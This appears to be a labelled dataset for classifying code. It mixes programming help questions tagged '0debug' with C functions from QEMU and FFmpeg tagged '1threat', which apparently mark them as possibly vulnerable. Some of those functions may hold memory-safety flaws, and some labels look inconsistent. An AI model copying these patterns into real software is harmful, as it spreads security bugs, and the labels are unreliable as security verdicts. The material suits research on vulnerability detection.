implementing Runnable acts different compared to extending Thread : I'm trying to learn how multithreading works. This is the example code I have: public class Processor extends Thread { private boolean running = true; public void run() { while (running) { System.out.println("Hello there!"); try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } public void shutDown() { running = false; } } public class ProcessorDemo { public static void main(String[] args) { Processor proc1 = new Processor(); proc1.start(); System.out.println("Press return to stop"); Scanner sc = new Scanner(System.in); sc.nextLine(); proc1.shutDown(); } } The problem occurs, when I implement Runnable instead of extending Thread - the code difference public class Processor implements Runnable // in ProcessorDemo Thread proc1 = new Thread(new Processor()); What happens is, the code gives an error, saying: "The method shutDown() is undefined for the type Thread" Why is this happening, when both ways of creating Threads should give the same result? Thanks everyone :)
0debug
How can I convert a LPCSTR to wchar_t*? : I want know how to convert a LPCSTR to wchar_t*,convert a LPCSTR to char*,convert a LPCSTR to std::string.And LPCSTR is Chinese garbled.I need Chinese which have not garbled.thanks.
0debug
How to Calculate and Displays NFL Passer Rating? : <p>I am trying to do this homework problem but I am having difficulties setting it up and understanding how to start and accomplish these results.</p> <p>This is the screenshot of the formulas:</p> <p><img src="https://screenshot.net/pdg9piy?" alt="screenshot of the formulas"></p> <p>[link if the image is not showing] <a href="https://screenshot.net/pdg9piy?" rel="nofollow noreferrer">https://screenshot.net/pdg9piy?</a></p> <p>So far I've declared the variables for the formulas, created a scanner and tried to write the formula. This is what I have so far:</p> <pre><code> //declaring variables float a_CompletionPercentage, b_YardsPerAttempt, c_TouchdownsPerAttempt, d_InterceptionsPerAttempt; float PasserRating; double Completion, Attempts, Touchdowns, Yards, Interceptions; Scanner in = new Scanner(System.in); //create Scanner Object //PlayerName input System.out.print("Enter the full name of the quarterback: "); //prompt asks for player name String PlayerName = in.nextLine(); //set string PlayerName as user's input //attempts input System.out.print("Enter the number of attempts: "); //prompt asks for # of attempts Attempts = in.nextDouble(); //set variable Attempts as user's input for # of attempts //completion input System.out.print("Enter the number of completions: "); Completion = in.nextDouble(); //yards input System.out.print("Enter the number of yards: "); Yards = in.nextDouble(); //touchdowns input System.out.print("Enter the number of touchdowns: "); Touchdowns = in.nextDouble(); //interceptions input System.out.print("Enter the number of interceptions: "); Interceptions = in.nextDouble(); //calculations a_CompletionPercentage = (((float)(Completion/Attempts)- 0.3f) * 5f); //formula for completion percentage b_YardsPerAttempt = (((float)(Yards/Attempts)- 3f) * 5f); //formula for yards per attempt c_TouchdownsPerAttempt = ((float)(Touchdowns/Attempts) * 20f); //formula for touchdowns per attempt d_InterceptionsPerAttempt = (2.375f - ((float)(Interceptions/Attempts) * 25f)); //formula for interceptions per attempt PasserRating = (((a_CompletionPercentage + b_YardsPerAttempt + c_TouchdownsPerAttempt + d_InterceptionsPerAttempt)/6)*100f); //formula for passing rate //Displays result System.out.println("The passer rating for " + PlayerName + " is " + PasserRating); </code></pre> <p>I am not sure if my variables were declared correctly and my formula is not working.</p> <p>These are some sample outputs that I should be getting: Output Sample 1:</p> <p>Enter the full name of the quarterback: Jameis Winston</p> <p>Enter the number of attempts: 35</p> <p>Enter the number of completions: 22</p> <p>Enter the number of yards: 345</p> <p>Enter the number of touchdowns: 4</p> <p>Enter the number of interceptions: 1</p> <p>The passer rating for Jameis Winston is 121.72619047619047</p> <p>But I am getting 664.58325 and not 121.72619047619047.</p> <p>PLEASE HELP!</p> <p>THANK YOU SO MUCH FOR ANYONE THAT TAKES THE TIME TO HELP ME WITH THIS!</p>
0debug
Why does my Android string display in all caps in my app? : <p>I want to display Vo for initial velocity, and it displays fine in MOST places, but on all of my circle buttons, it displays in all caps, so it looks like "VO" instead of "Vo". </p> <p>Is there a way to fix this? Is it a weird button interaction?</p> <p>Thanks!</p>
0debug
struct omap_mpu_state_s *omap2420_mpu_init(MemoryRegion *sysmem, unsigned long sdram_size, const char *core) { struct omap_mpu_state_s *s = (struct omap_mpu_state_s *) g_malloc0(sizeof(struct omap_mpu_state_s)); qemu_irq dma_irqs[4]; DriveInfo *dinfo; int i; SysBusDevice *busdev; struct omap_target_agent_s *ta; s->mpu_model = omap2420; s->cpu = cpu_arm_init(core ?: "arm1136-r2"); if (s->cpu == NULL) { fprintf(stderr, "Unable to find CPU definition\n"); exit(1); } s->sdram_size = sdram_size; s->sram_size = OMAP242X_SRAM_SIZE; s->wakeup = qemu_allocate_irq(omap_mpu_wakeup, s, 0); omap_clk_init(s); memory_region_init_ram(&s->sdram, NULL, "omap2.dram", s->sdram_size, &error_abort); vmstate_register_ram_global(&s->sdram); memory_region_add_subregion(sysmem, OMAP2_Q2_BASE, &s->sdram); memory_region_init_ram(&s->sram, NULL, "omap2.sram", s->sram_size, &error_abort); vmstate_register_ram_global(&s->sram); memory_region_add_subregion(sysmem, OMAP2_SRAM_BASE, &s->sram); s->l4 = omap_l4_init(sysmem, OMAP2_L4_BASE, 54); s->ih[0] = qdev_create(NULL, "omap2-intc"); qdev_prop_set_uint8(s->ih[0], "revision", 0x21); qdev_prop_set_ptr(s->ih[0], "fclk", omap_findclk(s, "mpu_intc_fclk")); qdev_prop_set_ptr(s->ih[0], "iclk", omap_findclk(s, "mpu_intc_iclk")); qdev_init_nofail(s->ih[0]); busdev = SYS_BUS_DEVICE(s->ih[0]); sysbus_connect_irq(busdev, 0, qdev_get_gpio_in(DEVICE(s->cpu), ARM_CPU_IRQ)); sysbus_connect_irq(busdev, 1, qdev_get_gpio_in(DEVICE(s->cpu), ARM_CPU_FIQ)); sysbus_mmio_map(busdev, 0, 0x480fe000); s->prcm = omap_prcm_init(omap_l4tao(s->l4, 3), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_PRCM_MPU_IRQ), NULL, NULL, s); s->sysc = omap_sysctl_init(omap_l4tao(s->l4, 1), omap_findclk(s, "omapctrl_iclk"), s); for (i = 0; i < 4; i++) { dma_irqs[i] = qdev_get_gpio_in(s->ih[omap2_dma_irq_map[i].ih], omap2_dma_irq_map[i].intr); } s->dma = omap_dma4_init(0x48056000, dma_irqs, sysmem, s, 256, 32, omap_findclk(s, "sdma_iclk"), omap_findclk(s, "sdma_fclk")); s->port->addr_valid = omap2_validate_addr; soc_dma_port_add_mem(s->dma, memory_region_get_ram_ptr(&s->sdram), OMAP2_Q2_BASE, s->sdram_size); soc_dma_port_add_mem(s->dma, memory_region_get_ram_ptr(&s->sram), OMAP2_SRAM_BASE, s->sram_size); s->uart[0] = omap2_uart_init(sysmem, omap_l4ta(s->l4, 19), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_UART1_IRQ), omap_findclk(s, "uart1_fclk"), omap_findclk(s, "uart1_iclk"), s->drq[OMAP24XX_DMA_UART1_TX], s->drq[OMAP24XX_DMA_UART1_RX], "uart1", serial_hds[0]); s->uart[1] = omap2_uart_init(sysmem, omap_l4ta(s->l4, 20), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_UART2_IRQ), omap_findclk(s, "uart2_fclk"), omap_findclk(s, "uart2_iclk"), s->drq[OMAP24XX_DMA_UART2_TX], s->drq[OMAP24XX_DMA_UART2_RX], "uart2", serial_hds[0] ? serial_hds[1] : NULL); s->uart[2] = omap2_uart_init(sysmem, omap_l4ta(s->l4, 21), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_UART3_IRQ), omap_findclk(s, "uart3_fclk"), omap_findclk(s, "uart3_iclk"), s->drq[OMAP24XX_DMA_UART3_TX], s->drq[OMAP24XX_DMA_UART3_RX], "uart3", serial_hds[0] && serial_hds[1] ? serial_hds[2] : NULL); s->gptimer[0] = omap_gp_timer_init(omap_l4ta(s->l4, 7), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER1), omap_findclk(s, "wu_gpt1_clk"), omap_findclk(s, "wu_l4_iclk")); s->gptimer[1] = omap_gp_timer_init(omap_l4ta(s->l4, 8), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER2), omap_findclk(s, "core_gpt2_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[2] = omap_gp_timer_init(omap_l4ta(s->l4, 22), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER3), omap_findclk(s, "core_gpt3_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[3] = omap_gp_timer_init(omap_l4ta(s->l4, 23), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER4), omap_findclk(s, "core_gpt4_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[4] = omap_gp_timer_init(omap_l4ta(s->l4, 24), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER5), omap_findclk(s, "core_gpt5_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[5] = omap_gp_timer_init(omap_l4ta(s->l4, 25), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER6), omap_findclk(s, "core_gpt6_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[6] = omap_gp_timer_init(omap_l4ta(s->l4, 26), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER7), omap_findclk(s, "core_gpt7_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[7] = omap_gp_timer_init(omap_l4ta(s->l4, 27), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER8), omap_findclk(s, "core_gpt8_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[8] = omap_gp_timer_init(omap_l4ta(s->l4, 28), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER9), omap_findclk(s, "core_gpt9_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[9] = omap_gp_timer_init(omap_l4ta(s->l4, 29), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER10), omap_findclk(s, "core_gpt10_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[10] = omap_gp_timer_init(omap_l4ta(s->l4, 30), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER11), omap_findclk(s, "core_gpt11_clk"), omap_findclk(s, "core_l4_iclk")); s->gptimer[11] = omap_gp_timer_init(omap_l4ta(s->l4, 31), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPTIMER12), omap_findclk(s, "core_gpt12_clk"), omap_findclk(s, "core_l4_iclk")); omap_tap_init(omap_l4ta(s->l4, 2), s); s->synctimer = omap_synctimer_init(omap_l4tao(s->l4, 2), s, omap_findclk(s, "clk32-kHz"), omap_findclk(s, "core_l4_iclk")); s->i2c[0] = qdev_create(NULL, "omap_i2c"); qdev_prop_set_uint8(s->i2c[0], "revision", 0x34); qdev_prop_set_ptr(s->i2c[0], "iclk", omap_findclk(s, "i2c1.iclk")); qdev_prop_set_ptr(s->i2c[0], "fclk", omap_findclk(s, "i2c1.fclk")); qdev_init_nofail(s->i2c[0]); busdev = SYS_BUS_DEVICE(s->i2c[0]); sysbus_connect_irq(busdev, 0, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_I2C1_IRQ)); sysbus_connect_irq(busdev, 1, s->drq[OMAP24XX_DMA_I2C1_TX]); sysbus_connect_irq(busdev, 2, s->drq[OMAP24XX_DMA_I2C1_RX]); sysbus_mmio_map(busdev, 0, omap_l4_region_base(omap_l4tao(s->l4, 5), 0)); s->i2c[1] = qdev_create(NULL, "omap_i2c"); qdev_prop_set_uint8(s->i2c[1], "revision", 0x34); qdev_prop_set_ptr(s->i2c[1], "iclk", omap_findclk(s, "i2c2.iclk")); qdev_prop_set_ptr(s->i2c[1], "fclk", omap_findclk(s, "i2c2.fclk")); qdev_init_nofail(s->i2c[1]); busdev = SYS_BUS_DEVICE(s->i2c[1]); sysbus_connect_irq(busdev, 0, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_I2C2_IRQ)); sysbus_connect_irq(busdev, 1, s->drq[OMAP24XX_DMA_I2C2_TX]); sysbus_connect_irq(busdev, 2, s->drq[OMAP24XX_DMA_I2C2_RX]); sysbus_mmio_map(busdev, 0, omap_l4_region_base(omap_l4tao(s->l4, 6), 0)); s->gpio = qdev_create(NULL, "omap2-gpio"); qdev_prop_set_int32(s->gpio, "mpu_model", s->mpu_model); qdev_prop_set_ptr(s->gpio, "iclk", omap_findclk(s, "gpio_iclk")); qdev_prop_set_ptr(s->gpio, "fclk0", omap_findclk(s, "gpio1_dbclk")); qdev_prop_set_ptr(s->gpio, "fclk1", omap_findclk(s, "gpio2_dbclk")); qdev_prop_set_ptr(s->gpio, "fclk2", omap_findclk(s, "gpio3_dbclk")); qdev_prop_set_ptr(s->gpio, "fclk3", omap_findclk(s, "gpio4_dbclk")); if (s->mpu_model == omap2430) { qdev_prop_set_ptr(s->gpio, "fclk4", omap_findclk(s, "gpio5_dbclk")); } qdev_init_nofail(s->gpio); busdev = SYS_BUS_DEVICE(s->gpio); sysbus_connect_irq(busdev, 0, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPIO_BANK1)); sysbus_connect_irq(busdev, 3, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPIO_BANK2)); sysbus_connect_irq(busdev, 6, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPIO_BANK3)); sysbus_connect_irq(busdev, 9, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPIO_BANK4)); if (s->mpu_model == omap2430) { sysbus_connect_irq(busdev, 12, qdev_get_gpio_in(s->ih[0], OMAP_INT_243X_GPIO_BANK5)); } ta = omap_l4ta(s->l4, 3); sysbus_mmio_map(busdev, 0, omap_l4_region_base(ta, 1)); sysbus_mmio_map(busdev, 1, omap_l4_region_base(ta, 0)); sysbus_mmio_map(busdev, 2, omap_l4_region_base(ta, 2)); sysbus_mmio_map(busdev, 3, omap_l4_region_base(ta, 4)); sysbus_mmio_map(busdev, 4, omap_l4_region_base(ta, 5)); s->sdrc = omap_sdrc_init(sysmem, 0x68009000); s->gpmc = omap_gpmc_init(s, 0x6800a000, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_GPMC_IRQ), s->drq[OMAP24XX_DMA_GPMC]); dinfo = drive_get(IF_SD, 0, 0); if (!dinfo) { fprintf(stderr, "qemu: missing SecureDigital device\n"); exit(1); } s->mmc = omap2_mmc_init(omap_l4tao(s->l4, 9), blk_bs(blk_by_legacy_dinfo(dinfo)), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_MMC_IRQ), &s->drq[OMAP24XX_DMA_MMC1_TX], omap_findclk(s, "mmc_fclk"), omap_findclk(s, "mmc_iclk")); s->mcspi[0] = omap_mcspi_init(omap_l4ta(s->l4, 35), 4, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_MCSPI1_IRQ), &s->drq[OMAP24XX_DMA_SPI1_TX0], omap_findclk(s, "spi1_fclk"), omap_findclk(s, "spi1_iclk")); s->mcspi[1] = omap_mcspi_init(omap_l4ta(s->l4, 36), 2, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_MCSPI2_IRQ), &s->drq[OMAP24XX_DMA_SPI2_TX0], omap_findclk(s, "spi2_fclk"), omap_findclk(s, "spi2_iclk")); s->dss = omap_dss_init(omap_l4ta(s->l4, 10), sysmem, 0x68000800, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_DSS_IRQ), s->drq[OMAP24XX_DMA_DSS], omap_findclk(s, "dss_clk1"), omap_findclk(s, "dss_clk2"), omap_findclk(s, "dss_54m_clk"), omap_findclk(s, "dss_l3_iclk"), omap_findclk(s, "dss_l4_iclk")); omap_sti_init(omap_l4ta(s->l4, 18), sysmem, 0x54000000, qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_STI), omap_findclk(s, "emul_ck"), serial_hds[0] && serial_hds[1] && serial_hds[2] ? serial_hds[3] : NULL); s->eac = omap_eac_init(omap_l4ta(s->l4, 32), qdev_get_gpio_in(s->ih[0], OMAP_INT_24XX_EAC_IRQ), &s->drq[OMAP24XX_DMA_EAC_AC_RD], omap_findclk(s, "func_96m_clk"), omap_findclk(s, "core_l4_iclk")); qemu_register_reset(omap2_mpu_reset, s); return s; }
1threat
?search not working on json : I am new to json and APIs. This particular dataset I am working with (https://api.cdnjs.com/libraries) is searchable by placing "?search=search_term" behind it (like: https://api.cdnjs.com/libraries?search=cloud). But when I use another json dataset (http://api.nobelprize.org/v1/prize.json for instance) it gives an error ({"error":"Using an unknown parameter"}). Does this have to do with how the datasets are set up? Methods perhaps? How do I make the other json searchable like that (so I can use it in my search app)
0debug
Can touch out side a View Component be detected in react native? : <p>My React native application screen has View component with few text inputs. How can touch be detected on screen outside that View? Please help.</p> <p>Thanks</p>
0debug
int ff_listen_connect(int fd, const struct sockaddr *addr, socklen_t addrlen, int timeout, URLContext *h, int will_try_next) { struct pollfd p = {fd, POLLOUT, 0}; int ret; socklen_t optlen; ff_socket_nonblock(fd, 1); while ((ret = connect(fd, addr, addrlen))) { ret = ff_neterrno(); switch (ret) { case AVERROR(EINTR): if (ff_check_interrupt(&h->interrupt_callback)) return AVERROR_EXIT; continue; case AVERROR(EINPROGRESS): case AVERROR(EAGAIN): ret = ff_poll_interrupt(&p, 1, timeout, &h->interrupt_callback); if (ret < 0) return ret; optlen = sizeof(ret); if (getsockopt (fd, SOL_SOCKET, SO_ERROR, &ret, &optlen)) ret = AVUNERROR(ff_neterrno()); if (ret != 0) { char errbuf[100]; ret = AVERROR(ret); av_strerror(ret, errbuf, sizeof(errbuf)); if (will_try_next) av_log(h, AV_LOG_WARNING, "Connection to %s failed (%s), trying next address\n", h->filename, errbuf); else av_log(h, AV_LOG_ERROR, "Connection to %s failed: %s\n", h->filename, errbuf); } default: return ret; } } return ret; }
1threat
Length function Javascript Not Working : I have simple script to display the length of a string in HTML field using Javascript. The length function which I use is not working fine. But I am unable to sort out the solution. Please advise. @foreach (var val in ViewData["Students"] as List<Students>) { var state = @val.state; // its working fine if ( (@state.length == 7)) // its not working length function fails { <p> I am : @state : with length : @state.length</p> } }
0debug
eclipse import cannot be resolved : <p>I have an existing Java project and I open it in eclipse.</p> <p>Now I add a new package in it, and I create java files and write code in the new package.</p> <p>However, when I try to import class from other existing packages, I failed.</p> <p>Why?</p>
0debug
Python: From a text file, character by character create an array of strings : <p>The best way to explain:</p> <ol> <li>Program takes a text-file an examines character by character looking for double characters (ie 'ff'.</li> </ol> <p>I need to display the words that contain double characters.</p> <p>I thought the best way to do this would be to form a list, of each character. When a double character is found and a space is reached (end of word) convert the contents of the list into a string, and place in a separate array. Then clear contents of the list.</p> <p>If a space is reached before finding a double letter (word does not contain one) clear the list.</p> <p>**Question: What is the best approach to this. I have tried to append character by character to the list, but when printing my list it is empty.</p>
0debug
static int get_bits(Jpeg2000DecoderContext *s, int n) { int res = 0; if (s->buf_end - s->buf < ((n - s->bit_index) >> 8)) return AVERROR(EINVAL); while (--n >= 0) { res <<= 1; if (s->bit_index == 0) { s->bit_index = 7 + (*s->buf != 0xff); s->buf++; } s->bit_index--; res |= (*s->buf >> s->bit_index) & 1; } return res; }
1threat
Use Spring boot application properties in log4j2.xml : <p>I am working on a web application based on spring boot and want to use log4j2 as the logger implementation.<br> Everything works fine with the logging configuration defined in a <strong>log4j2-spring.xml</strong> file. </p> <p>What is not working: I want to use property placeholders in the log4j2-spring.xml file that should be resolved from properties defined in the <strong>application.yml</strong> file used for configuring spring boot. </p> <p>Is this possible? If yes, how?</p>
0debug
final or val function parameter or in Kotlin? : <p>Why does Kotlin removed the final or val function parameter which is very useful in Java?</p> <pre><code>fun say(val msg: String = "Hello World") { msg = "Hello To Me" // would give an error here since msg is val //or final ... ... ... } </code></pre>
0debug
SSpring MVC resources not mapping : [my folder structure][1] [enter image description here][2] [1]: http://i.stack.imgur.com/YT0ZL.png [2]: http://i.stack.imgur.com/NgnE9.png And my code in the JSP page is ~ < script src='${pageContext.request.contextPath}/AppNameController.js'/> ~ I'm still getting 404 error
0debug
static uint64_t cs_mem_read(void *opaque, target_phys_addr_t addr, unsigned size) { CSState *s = opaque; uint32_t saddr, ret; saddr = addr >> 2; switch (saddr) { case 1: switch (CS_RAP(s)) { case 3: ret = 0; break; default: ret = s->dregs[CS_RAP(s)]; break; } trace_cs4231_mem_readl_dreg(CS_RAP(s), ret); break; default: ret = s->regs[saddr]; trace_cs4231_mem_readl_reg(saddr, ret); break; } return ret; }
1threat
uint32_t ssi_transfer(SSIBus *bus, uint32_t val) { DeviceState *dev; SSISlave *slave; dev = LIST_FIRST(&bus->qbus.children); if (!dev) { return 0; } slave = SSI_SLAVE_FROM_QDEV(dev); return slave->info->transfer(slave, val); }
1threat
how to save hex string to binary file? : <p>I have a hexString and how can I convert that string into binary and save as a binary file with custom extension? the following is a sample code block which I used to save the string into file.</p> <pre><code>function HexToString(H: String): String; var I: Integer; begin Result:= ''; for I := 1 to length (H) div 2 do Result:= Result+Char(StrToInt('$'+Copy(H,(I-1)*2+1,2))); end; procedure saveAs(); p, k, c, tmp: HexStr; begin k := StringToHex('mykey'); //TO DO //I need to convert 'k' into binary and save as new file end; </code></pre>
0debug
Jqerry syntax error - Links does not open : As you can see in the jsfiddle, the link does not open. I put in all my CSS and Javascript Code. Must be sth. with Jquery (when I delete the library, it works), but I cant find the mistake, unfortunately. Can you help me pls? https://jsfiddle.net/mah89451/ Uncaught Error: Syntax error, unrecognized expression:
0debug
Making SVG container 100% width and height of parent container in D3 v4 (instead of by pixels) : <p>I have a parent container (div.barChartContainer) whose height and width are calculated from the viewport, ex: width: calc(100vh - 200px). The SVG container is appended to the div.barChartContainer element. </p> <p>I am struggling with how to get the SVG element to be 100% width and height of its parent element, hoping I could get some help. For now I have static pixel amounts (where it currently renders properly, but is non responsive).</p> <p>Thanks!</p> <pre><code> var margin = {top: 20, right: 20, bottom: 30, left: 80}, width = 960 - margin.left - margin.right, height = 500 - margin.top - margin.bottom; // set the ranges var y = d3.scaleBand() .range([height, 0]) .padding(0.4); var x = d3.scaleLinear() .range([0, width]); var svg = d3.select(".barChartContainer").append("svg") .attr("width", width + margin.left + margin.right) .attr("height", height + margin.top + margin.bottom) .append("g") .attr("transform", "translate(" + margin.left + "," + margin.top + ")"); </code></pre>
0debug
How do numpy functions operate on pandas objects internally? : <p>Numpy functions, eg np.mean(), np.var(), etc, accept an array-like argument, like np.array, or list, etc.</p> <p>But passing in a pandas dataframe also works. This means that a pandas dataframe can indeed disguise itself as a numpy array, which I find a little strange (despite knowing the fact that the underlying values of a df are indeed numpy arrays).</p> <p>For an object to be an array-like, I thought that it should be slicable using integer indexing in the way a numpy array is sliced. So for instance df[1:3, 2:3] should work, but it would lead to an error. </p> <p>So, possibly a dataframe gets <strong>converted</strong> into a numpy array when it goes inside the function. But if that is the case then why does np.mean(numpy_array) lead to a different result than that of np.mean(df)?</p> <pre><code>a = np.random.rand(4,2) a Out[13]: array([[ 0.86688862, 0.09682919], [ 0.49629578, 0.78263523], [ 0.83552411, 0.71907931], [ 0.95039642, 0.71795655]]) np.mean(a) Out[14]: 0.68320065182041034 </code></pre> <p>gives a different result than what the below gives...</p> <pre><code>df = pd.DataFrame(data=a, index=range(np.shape(a)[0]), columns=range(np.shape(a)[1])) df Out[18]: 0 1 0 0.866889 0.096829 1 0.496296 0.782635 2 0.835524 0.719079 3 0.950396 0.717957 np.mean(df) Out[21]: 0 0.787276 1 0.579125 dtype: float64 </code></pre> <p>The former output is a single number, whereas the latter is a column-wise mean. How does a numpy function know about the make of a dataframe?</p>
0debug
An unhandled lowlevel error occurred. The application logs may have details : <p>I'm tyring to deploy a rails app to a digital ocean droplet and all seems to be configured ok but I get this error:</p> <pre><code>An unhandled lowlevel error occurred. The application logs may have details. </code></pre> <p>I'm not sure what to do as the logs are empty.</p> <p>Here's the nginx config:</p> <pre><code>upstream puma { server unix:///home/yourcv.rocks/shared/tmp/sockets/yourcv.rocks-puma.sock; } server { listen 80 default_server deferred; server_name 127.0.0.1; root /home/yourcv.rocks/current/public; access_log /home/yourcv.rocks/current/log/nginx.access.log; error_log /home/yourcv.rocks/current/log/nginx.error.log info; location ^~ /assets/ { gzip_static on; expires max; add_header Cache-Control public; } try_files $uri/index.html $uri @puma; location @puma { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://puma; } error_page 500 502 503 504 /500.html; client_max_body_size 10M; keepalive_timeout 10; } </code></pre> <p>Thank you! :) </p>
0debug
void checkasm_report(const char *name, ...) { static int prev_checked, prev_failed, max_length; if (state.num_checked > prev_checked) { print_cpu_name(); if (*name) { int pad_length = max_length; va_list arg; fprintf(stderr, " - "); va_start(arg, name); pad_length -= vfprintf(stderr, name, arg); va_end(arg); fprintf(stderr, "%*c", FFMAX(pad_length, 0) + 2, '['); } else fprintf(stderr, " - %-*s [", max_length, state.current_func->name); if (state.num_failed == prev_failed) color_printf(COLOR_GREEN, "OK"); else color_printf(COLOR_RED, "FAILED"); fprintf(stderr, "]\n"); prev_checked = state.num_checked; prev_failed = state.num_failed; } else if (!state.cpu_flag) { int length; if (*name) { va_list arg; va_start(arg, name); length = vsnprintf(NULL, 0, name, arg); va_end(arg); } else length = strlen(state.current_func->name); if (length > max_length) max_length = length; } }
1threat
Creating 1000 arrays and sorting them using the bubble and selection sort (C#) : <p>I am new to programming. C# is my first programming language. </p> <p>I have an assignment where I have to create and test out a bubble sort algorithm and a selection sort algorithm using arrays. I think I understand those now. </p> <p>The next part of the assignment I am having some trouble on. </p> <p>I have to write a program that will ask the user for a number (n) and create 1000 arrays of n size. </p> <p>So if the user enters 5 for the number, my program has to <em>create and sort</em> 1000 arrays that are of length 5. </p> <p>I have to use the bubble sort and the selection sort methods I created. </p> <p>After I do that, I have to initiate a variable called <em>running_time</em> to 0. I have to create a for loop that iterates 1000 times and in the body of the loop i have to create an array of n random integers. </p> <p>Then I have to get the time and set this to the start time. My professor said to notice that the sort is started after each array is built, so I should time the sort process only. </p> <p>Then I have to get the time and set it to end time. I have to subtract the start time from end time and add the result to the total time.</p> <p>Once the program has run, note 1. the number of items sorted 2. the average running time for each array (total time/1000)</p> <p>Then I have to repeat the process using 500, 2500, and 5000 as the size of the array. </p> <p>This is my code for creating one array with n number of spaces and filled with random integers. </p> <pre><code>//Asks the user for number Console.WriteLine("Enter a number: "); n = Convert.ToInt32(Console.ReadLine()); //Creates an array of the length of the user entered number int[] randArray = new int[n]; //Brings in the random class so we can use it. Random r = new Random(); Console.WriteLine("This is the array: "); //For loop that will put in a random number for each spot in the array. for (int i = 0; i &lt; randArray.Length; i++) { randArray[i] = r.Next(n); Console.Write(randArray[i] + " "); } Console.WriteLine(); </code></pre> <p>THIS IS MY CODE FOR THE BUBBLE SORT ALGORITHM:</p> <pre><code>//Now performing bubble sort algorithm: for (int j = 0; j &lt;= randArray.Length - 2; j++) { for (int x = 0; x &lt;= randArray.Length - 2; x++) { if (randArray[x] &gt; randArray[x + 1]) { temp = randArray[x + 1]; randArray[x + 1] = randArray[x]; randArray[x] = temp; } } } //For each loop that will print out the sorted array foreach (int array in randArray) { Console.Write(array + " "); } Console.WriteLine(); </code></pre> <p>THIS IS MY CODE FOR THE SELECTION SORT ALGORITHM:</p> <pre><code>//Now performing selection sort algorithm for (int a = 0; a &lt; randArray1.Length - 1; a++) { minkey = a; for (int b = a + 1; b &lt; randArray1.Length; b++) { if (randArray1[b] &lt; randArray1[minkey]) { minkey = b; } } tempSS = randArray1[minkey]; randArray1[minkey] = randArray1[a]; randArray1[a] = tempSS; } //For loop that will print the array after it is sorted. Console.WriteLine("This is the array after the selection sort algorithm."); for (int c = 0; c &lt; randArray1.Length; c++) { Console.Write(randArray1[c] + " "); } Console.WriteLine(); </code></pre> <p>This is very overwhelming as I am new to this and I am still learning this language. </p> <p>Can someone guide me on the beginning on how to create 1000 different arrays filled with random numbers and then the rest. I would appreciate it greatly. Thank you. </p>
0debug
static int coroutine_fn qed_aio_write_alloc(QEDAIOCB *acb, size_t len) { BDRVQEDState *s = acb_to_s(acb); int ret; if (s->allocating_acb == NULL) { qed_cancel_need_check_timer(s); } if (s->allocating_acb != acb || s->allocating_write_reqs_plugged) { if (s->allocating_acb != NULL) { qemu_co_queue_wait(&s->allocating_write_reqs, NULL); assert(s->allocating_acb == NULL); } s->allocating_acb = acb; return -EAGAIN; } acb->cur_nclusters = qed_bytes_to_clusters(s, qed_offset_into_cluster(s, acb->cur_pos) + len); qemu_iovec_concat(&acb->cur_qiov, acb->qiov, acb->qiov_offset, len); if (acb->flags & QED_AIOCB_ZERO) { if (acb->find_cluster_ret == QED_CLUSTER_ZERO) { return 0; } acb->cur_cluster = 1; } else { acb->cur_cluster = qed_alloc_clusters(s, acb->cur_nclusters); } if (qed_should_set_need_check(s)) { s->header.features |= QED_F_NEED_CHECK; ret = qed_write_header(s); if (ret < 0) { return ret; } } if (!(acb->flags & QED_AIOCB_ZERO)) { ret = qed_aio_write_cow(acb); if (ret < 0) { return ret; } } return qed_aio_write_l2_update(acb, acb->cur_cluster); }
1threat
how to use an asychronous swift firebase function : So basically I have a function that connects to firebase and gets data in the form of a string and returns a string(at least I think). this question Is very simple and kind of a dumb question but how would I call this method in a different thread or core. Sorry don't really know the terms yet. I am trying. also, I don't think it returns a String which I need so how would I accomplish that? also this is not a duplicate because if you look at all these type of questions I have not found one that calls the actual method. typealias someting = (String?) -> Void func getOpposingUsername( _ index: Int, completionHandler: @escaping someting) { var opposingUser: String = "" self.datRef.child("Bets").child(self.tieBetToUser[index]).observe(.childAdded, with: { snapshot in guard let dict = snapshot.value as? [String: AnyHashable] else { return } opposingUser = dict["OpposingUsername"] as! String if opposingUser.isEmpty { completionHandler(nil) } else { completionHandler(opposingUser) } }) }
0debug
